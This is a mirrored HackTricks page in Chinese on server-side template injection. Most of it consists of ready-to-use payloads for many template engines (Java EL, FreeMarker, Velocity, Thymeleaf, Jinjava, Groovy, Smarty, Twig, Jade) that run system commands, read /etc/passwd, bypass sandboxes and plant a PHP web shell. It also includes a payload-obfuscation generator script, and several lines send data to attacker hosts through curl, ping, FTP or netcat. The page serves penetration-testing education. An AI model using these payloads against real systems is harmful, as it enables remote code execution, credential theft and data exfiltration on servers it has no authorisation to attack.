mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1027 lines
43 KiB
Markdown
1027 lines
43 KiB
Markdown
# SSTI (Server Side Template Injection)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 什么是 SSTI (服务器端模板注入)
|
||
|
||
服务器端模板注入是一种漏洞,当攻击者能够将恶意代码注入到在服务器上执行的模板中时,就会发生这种漏洞。此漏洞可以在多种技术中找到,包括 Jinja。
|
||
|
||
Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考虑一个使用 Jinja 的脆弱代码片段的示例:
|
||
```python
|
||
output = template.render(name=request.args.get('name'))
|
||
```
|
||
在这段脆弱的代码中,用户请求中的 `name` 参数直接通过 `render` 函数传递到模板中。这可能允许攻击者将恶意代码注入到 `name` 参数中,从而导致服务器端模板注入。
|
||
|
||
例如,攻击者可以构造一个包含如下有效负载的请求:
|
||
```
|
||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||
```
|
||
有效载荷 `{{bad-stuff-here}}` 被注入到 `name` 参数中。该有效载荷可以包含 Jinja 模板指令,使攻击者能够执行未经授权的代码或操纵模板引擎,从而可能控制服务器。
|
||
|
||
为了防止服务器端模板注入漏洞,开发人员应确保在将用户输入插入模板之前,正确地对其进行清理和验证。实施输入验证和使用上下文感知的转义技术可以帮助减轻此漏洞的风险。
|
||
|
||
### 检测
|
||
|
||
要检测服务器端模板注入 (SSTI),最初,**模糊测试模板** 是一种简单的方法。这涉及将一系列特殊字符 (**`${{<%[%'"}}%\`**) 注入模板,并分析服务器对常规数据与此特殊有效载荷的响应差异。漏洞指示包括:
|
||
|
||
- 抛出的错误,揭示漏洞并可能显示模板引擎。
|
||
- 反射中缺少有效载荷,或部分缺失,暗示服务器以不同于常规数据的方式处理它。
|
||
- **明文上下文**:通过检查服务器是否评估模板表达式(例如 `{{7*7}}`,`${7*7}`)来区分 XSS。
|
||
- **代码上下文**:通过更改输入参数确认漏洞。例如,改变 `http://vulnerable-website.com/?greeting=data.username` 中的 `greeting`,查看服务器的输出是动态的还是固定的,例如 `greeting=data.username}}hello` 返回用户名。
|
||
|
||
#### 识别阶段
|
||
|
||
识别模板引擎涉及分析错误消息或手动测试各种特定语言的有效载荷。常见的导致错误的有效载荷包括 `${7/0}`,`{{7/0}}` 和 `<%= 7/0 %>`。观察服务器对数学运算的响应有助于确定特定的模板引擎。
|
||
|
||
#### 通过有效载荷识别
|
||
|
||
<figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
|
||
|
||
- 更多信息请参见 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||
|
||
## 工具
|
||
|
||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||
|
||
一个高效的 SSTI + CSTI 扫描器,利用新颖的多语言组合
|
||
```bash
|
||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||
```
|
||
### [SSTImap](https://github.com/vladko312/sstimap)
|
||
```bash
|
||
python3 sstimap.py -i -l 5
|
||
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
|
||
python3 sstimap.py -u "https://example.com/page?name=John" -s
|
||
```
|
||
### [Tplmap](https://github.com/epinna/tplmap)
|
||
```python
|
||
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||
```
|
||
### [模板注入表](https://github.com/Hackmanit/template-injection-table)
|
||
|
||
一个包含最有效的模板注入多语言的交互式表格,以及44个最重要的模板引擎的预期响应。
|
||
|
||
## 漏洞
|
||
|
||
### 通用
|
||
|
||
在这个**词汇表**中,您可以找到一些下面提到的引擎环境中**定义的变量**:
|
||
|
||
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||
|
||
### Java
|
||
|
||
**Java - 基本注入**
|
||
```java
|
||
${7*7}
|
||
${{7*7}}
|
||
${class.getClassLoader()}
|
||
${class.getResource("").getPath()}
|
||
${class.getResource("../../../../../index.htm").getContent()}
|
||
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
|
||
```
|
||
**Java - 获取系统的环境变量**
|
||
```java
|
||
${T(java.lang.System).getenv()}
|
||
```
|
||
**Java - 检索 /etc/passwd**
|
||
```java
|
||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||
|
||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||
```
|
||
### FreeMarker (Java)
|
||
|
||
您可以在 [https://try.freemarker.apache.org](https://try.freemarker.apache.org) 尝试您的有效载荷。
|
||
|
||
- `{{7*7}} = {{7*7}}`
|
||
- `${7*7} = 49`
|
||
- `#{7*7} = 49 -- (legacy)`
|
||
- `${7*'7'} Nothing`
|
||
- `${foobar}`
|
||
```java
|
||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
|
||
${"freemarker.template.utility.Execute"?new()("id")}
|
||
|
||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||
```
|
||
**Freemarker - 沙盒绕过**
|
||
|
||
⚠️ 仅适用于 Freemarker 版本低于 2.3.30
|
||
```java
|
||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
|
||
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
|
||
${dwf.newInstance(ec,null)("id")}
|
||
```
|
||
**更多信息**
|
||
|
||
- 在 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 的 FreeMarker 部分
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||
|
||
### Velocity (Java)
|
||
```java
|
||
// I think this doesn't work
|
||
#set($str=$class.inspect("java.lang.String").type)
|
||
#set($chr=$class.inspect("java.lang.Character").type)
|
||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||
$ex.waitFor()
|
||
#set($out=$ex.getInputStream())
|
||
#foreach($i in [1..$out.available()])
|
||
$str.valueOf($chr.toChars($out.read()))
|
||
#end
|
||
|
||
// This should work?
|
||
#set($s="")
|
||
#set($stringClass=$s.getClass())
|
||
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
|
||
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
|
||
#set($out=$process.getInputStream())
|
||
#set($null=$process.waitFor() )
|
||
#foreach($i+in+[1..$out.available()])
|
||
$out.read()
|
||
#end
|
||
```
|
||
**更多信息**
|
||
|
||
- 在 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 的 Velocity 部分
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||
|
||
### Thymeleaf
|
||
|
||
在 Thymeleaf 中,测试 SSTI 漏洞的常见表达式是 `${7*7}`,这同样适用于此模板引擎。对于潜在的远程代码执行,可以使用以下表达式:
|
||
|
||
- SpringEL:
|
||
|
||
```java
|
||
${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||
```
|
||
|
||
- OGNL:
|
||
|
||
```java
|
||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||
```
|
||
|
||
Thymeleaf 要求这些表达式放置在特定属性中。然而,_表达式内联_ 对其他模板位置是支持的,使用语法如 `[[...]]` 或 `[(...)]`。因此,一个简单的 SSTI 测试有效负载可能看起来像 `[[${7*7}]]`。
|
||
|
||
然而,这个有效负载成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态从字符串创建模板,这并不常见。
|
||
|
||
Thymeleaf 还提供了 _表达式预处理_,其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时使用,如 Thymeleaf 文档中所示:
|
||
```java
|
||
#{selection.__${sel.code}__}
|
||
```
|
||
**Thymeleaf中的漏洞示例**
|
||
|
||
考虑以下代码片段,它可能容易受到利用:
|
||
```xml
|
||
<a th:href="@{__${path}__}" th:title="${title}">
|
||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||
```
|
||
这表明,如果模板引擎不正确地处理这些输入,可能会导致远程代码执行,访问类似以下的 URL:
|
||
```
|
||
http://localhost:8082/(7*7)
|
||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
|
||
|
||
{{#ref}}
|
||
el-expression-language.md
|
||
{{#endref}}
|
||
|
||
### Spring Framework (Java)
|
||
```java
|
||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||
```
|
||
**绕过过滤器**
|
||
|
||
可以使用多个变量表达式,如果 `${...}` 不起作用,请尝试 `#{...}`、`*{...}`、`@{...}` 或 `~{...}`。
|
||
|
||
- 读取 `/etc/passwd`
|
||
```java
|
||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||
```
|
||
- 自定义脚本用于有效载荷生成
|
||
```python
|
||
#!/usr/bin/python3
|
||
|
||
## Written By Zeyad Abulaban (zAbuQasem)
|
||
# Usage: python3 gen.py "id"
|
||
|
||
from sys import argv
|
||
|
||
cmd = list(argv[1].strip())
|
||
print("Payload: ", cmd , end="\n\n")
|
||
converted = [ord(c) for c in cmd]
|
||
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
|
||
end_payload = '.getInputStream())}'
|
||
|
||
count = 1
|
||
for i in converted:
|
||
if count == 1:
|
||
base_payload += f"(T(java.lang.Character).toString({i}).concat"
|
||
count += 1
|
||
elif count == len(converted):
|
||
base_payload += f"(T(java.lang.Character).toString({i})))"
|
||
else:
|
||
base_payload += f"(T(java.lang.Character).toString({i})).concat"
|
||
count += 1
|
||
|
||
print(base_payload + end_payload)
|
||
```
|
||
**更多信息**
|
||
|
||
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||
|
||
### Spring 视图操作 (Java)
|
||
```java
|
||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||
```
|
||
- [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
|
||
|
||
{{#ref}}
|
||
el-expression-language.md
|
||
{{#endref}}
|
||
|
||
### Pebble (Java)
|
||
|
||
- `{{ someString.toUPPERCASE() }}`
|
||
|
||
Pebble 的旧版本(< 3.0.9):
|
||
```java
|
||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||
```
|
||
新版本的 Pebble:
|
||
```java
|
||
{% raw %}
|
||
{% set cmd = 'id' %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
|
||
|
||
|
||
{% set bytes = (1).TYPE
|
||
.forName('java.lang.Runtime')
|
||
.methods[6]
|
||
.invoke(null,null)
|
||
.exec(cmd)
|
||
.inputStream
|
||
.readAllBytes() %}
|
||
{{ (1).TYPE
|
||
.forName('java.lang.String')
|
||
.constructors[0]
|
||
.newInstance(([bytes]).toArray()) }}
|
||
```
|
||
### Jinjava (Java)
|
||
```java
|
||
{{'a'.toUpperCase()}} would result in 'A'
|
||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||
```
|
||
Jinjava 是一个由 Hubspot 开发的开源项目,地址为 [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||
|
||
**Jinjava - 命令执行**
|
||
|
||
通过 [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) 修复
|
||
```java
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
|
||
|
||
### Hubspot - HuBL (Java)
|
||
|
||
- `{% %}` 语句分隔符
|
||
- `{{ }}` 表达式分隔符
|
||
- `{# #}` 注释分隔符
|
||
- `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||
- `{{'a'.toUpperCase()}}` - "A"
|
||
- `{{'a'.concat('b')}}` - "ab"
|
||
- `{{'a'.getClass()}}` - java.lang.String
|
||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||
|
||
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并发现了 [Jinjava 项目在 Github](https://github.com/HubSpot/jinjava/)。
|
||
```java
|
||
{{request.isDebug()}}
|
||
//output: False
|
||
|
||
//Using string 'a' to get an instance of class sun.misc.Launcher
|
||
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
|
||
//output: sun.misc.Launcher@715537d4
|
||
|
||
//It is also possible to get a new object of the Jinjava class
|
||
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
|
||
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
|
||
|
||
//It was also possible to call methods on the created object by combining the
|
||
|
||
|
||
|
||
{% raw %}
|
||
{% %} and {{ }} blocks
|
||
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
|
||
{% endraw %}
|
||
|
||
|
||
{{ji.render('{{1*2}}')}}
|
||
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
|
||
|
||
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||
//output: xxx
|
||
|
||
//RCE
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||
//output: java.lang.UNIXProcess@1e5f456e
|
||
|
||
//RCE with org.apache.commons.io.IOUtils.
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
//output: netstat execution
|
||
|
||
//Multiple arguments to the commands
|
||
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||
|
||
### 表达式语言 - EL (Java)
|
||
|
||
- `${"aaaa"}` - "aaaa"
|
||
- `${99999+1}` - 100000.
|
||
- `#{7*7}` - 49
|
||
- `${{7*7}}` - 49
|
||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||
|
||
表达式语言 (EL) 是一个基本特性,促进了 JavaEE 中表现层(如网页)与应用逻辑(如托管 bean)之间的交互。它在多个 JavaEE 技术中被广泛使用,以简化这种通信。利用 EL 的关键 JavaEE 技术包括:
|
||
|
||
- **JavaServer Faces (JSF)**:使用 EL 将 JSF 页面中的组件绑定到相应的后端数据和操作。
|
||
- **JavaServer Pages (JSP)**:EL 在 JSP 中用于访问和操作 JSP 页面中的数据,使得将页面元素连接到应用数据变得更容易。
|
||
- **Java EE 的上下文和依赖注入 (CDI)**:EL 与 CDI 集成,允许 web 层与托管 bean 之间无缝交互,确保更连贯的应用结构。
|
||
|
||
查看以下页面以了解更多关于 **EL 解释器的利用**:
|
||
|
||
{{#ref}}
|
||
el-expression-language.md
|
||
{{#endref}}
|
||
|
||
### Groovy (Java)
|
||
|
||
以下安全管理器绕过来自于这篇 [**写作**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)。
|
||
```java
|
||
//Basic Payload
|
||
import groovy.*;
|
||
@groovy.transform.ASTTest(value={
|
||
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
|
||
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
|
||
})
|
||
def x
|
||
|
||
//Payload to get output
|
||
import groovy.*;
|
||
@groovy.transform.ASTTest(value={
|
||
cmd = "whoami";
|
||
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
|
||
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
|
||
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
|
||
})
|
||
def x
|
||
|
||
//Other payloads
|
||
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
|
||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||
```
|
||
### 其他 Java
|
||
|
||
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||
|
||
- 更多信息请查看 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||
|
||
##
|
||
|
||
### Smarty (PHP)
|
||
```php
|
||
{$smarty.version}
|
||
{php}echo `id`;{/php} //deprecated in smarty v3
|
||
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
|
||
{system('ls')} // compatible v3
|
||
{system('cat index.php')} // compatible v3
|
||
```
|
||
**更多信息**
|
||
|
||
- 在 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 的 Smarty 部分
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||
|
||
### Twig (PHP)
|
||
|
||
- `{{7*7}} = 49`
|
||
- `${7*7} = ${7*7}`
|
||
- `{{7*'7'}} = 49`
|
||
- `{{1/0}} = Error`
|
||
- `{{foobar}} Nothing`
|
||
```python
|
||
#Get Info
|
||
{{_self}} #(Ref. to current application)
|
||
{{_self.env}}
|
||
{{dump(app)}}
|
||
{{app.request.server.all|join(',')}}
|
||
|
||
#File read
|
||
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
|
||
|
||
#Exec code
|
||
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
|
||
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
|
||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
|
||
{{['id']|filter('system')}}
|
||
{{['cat\x20/etc/passwd']|filter('system')}}
|
||
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||
{{['id',""]|sort('system')}}
|
||
|
||
#Hide warnings and errors for automatic exploitation
|
||
{{["error_reporting", "0"]|sort("ini_set")}}
|
||
```
|
||
**Twig - 模板格式**
|
||
```php
|
||
$output = $twig > render (
|
||
'Dear' . $_GET['custom_greeting'],
|
||
array("first_name" => $user.first_name)
|
||
);
|
||
|
||
$output = $twig > render (
|
||
"Dear {first_name}",
|
||
array("first_name" => $user.first_name)
|
||
);
|
||
```
|
||
**更多信息**
|
||
|
||
- 在 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 的 Twig 和 Twig (Sandboxed) 部分
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||
|
||
### Plates (PHP)
|
||
|
||
Plates 是一个原生于 PHP 的模板引擎,受到 Twig 的启发。然而,与引入新语法的 Twig 不同,Plates 在模板中利用原生 PHP 代码,使其对 PHP 开发者直观易懂。
|
||
|
||
Controller:
|
||
```php
|
||
// Create new Plates instance
|
||
$templates = new League\Plates\Engine('/path/to/templates');
|
||
|
||
// Render a template
|
||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||
```
|
||
页面模板:
|
||
```php
|
||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||
|
||
<h1>User Profile</h1>
|
||
<p>Hello, <?=$this->e($name)?></p>
|
||
```
|
||
布局模板:
|
||
```html
|
||
<html>
|
||
<head>
|
||
<title><?=$this->e($title)?></title>
|
||
</head>
|
||
<body>
|
||
<?=$this->section('content')?>
|
||
</body>
|
||
</html>
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
|
||
|
||
### PHPlib 和 HTML_Template_PHPLIB (PHP)
|
||
|
||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) 与 PHPlib 相同,但移植到 Pear。
|
||
|
||
`authors.tpl`
|
||
```html
|
||
<html>
|
||
<head>
|
||
<title>{PAGE_TITLE}</title>
|
||
</head>
|
||
<body>
|
||
<table>
|
||
<caption>
|
||
Authors
|
||
</caption>
|
||
<thead>
|
||
<tr>
|
||
<th>Name</th>
|
||
<th>Email</th>
|
||
</tr>
|
||
</thead>
|
||
<tfoot>
|
||
<tr>
|
||
<td colspan="2">{NUM_AUTHORS}</td>
|
||
</tr>
|
||
</tfoot>
|
||
<tbody>
|
||
<!-- BEGIN authorline -->
|
||
<tr>
|
||
<td>{AUTHOR_NAME}</td>
|
||
<td>{AUTHOR_EMAIL}</td>
|
||
</tr>
|
||
<!-- END authorline -->
|
||
</tbody>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
```
|
||
`authors.php`
|
||
```php
|
||
<?php
|
||
//we want to display this author list
|
||
$authors = array(
|
||
'Christian Weiske' => 'cweiske@php.net',
|
||
'Bjoern Schotte' => 'schotte@mayflower.de'
|
||
);
|
||
|
||
require_once 'HTML/Template/PHPLIB.php';
|
||
//create template object
|
||
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
|
||
//load file
|
||
$t->setFile('authors', 'authors.tpl');
|
||
//set block
|
||
$t->setBlock('authors', 'authorline', 'authorline_ref');
|
||
|
||
//set some variables
|
||
$t->setVar('NUM_AUTHORS', count($authors));
|
||
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
|
||
|
||
//display the authors
|
||
foreach ($authors as $name => $email) {
|
||
$t->setVar('AUTHOR_NAME', $name);
|
||
$t->setVar('AUTHOR_EMAIL', $email);
|
||
$t->parse('authorline_ref', 'authorline', true);
|
||
}
|
||
|
||
//finish and echo
|
||
echo $t->finish($t->parse('OUT', 'authors'));
|
||
?>
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
|
||
|
||
### 其他 PHP
|
||
|
||
<figure><img src="../../images/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
|
||
|
||
- 更多信息在 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||
|
||
### Jade (NodeJS)
|
||
```javascript
|
||
- var x = root.process
|
||
- x = x.mainModule.require
|
||
- x = x('child_process')
|
||
= x.exec('id | nc attacker.net 80')
|
||
```
|
||
|
||
```javascript
|
||
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
|
||
```
|
||
**更多信息**
|
||
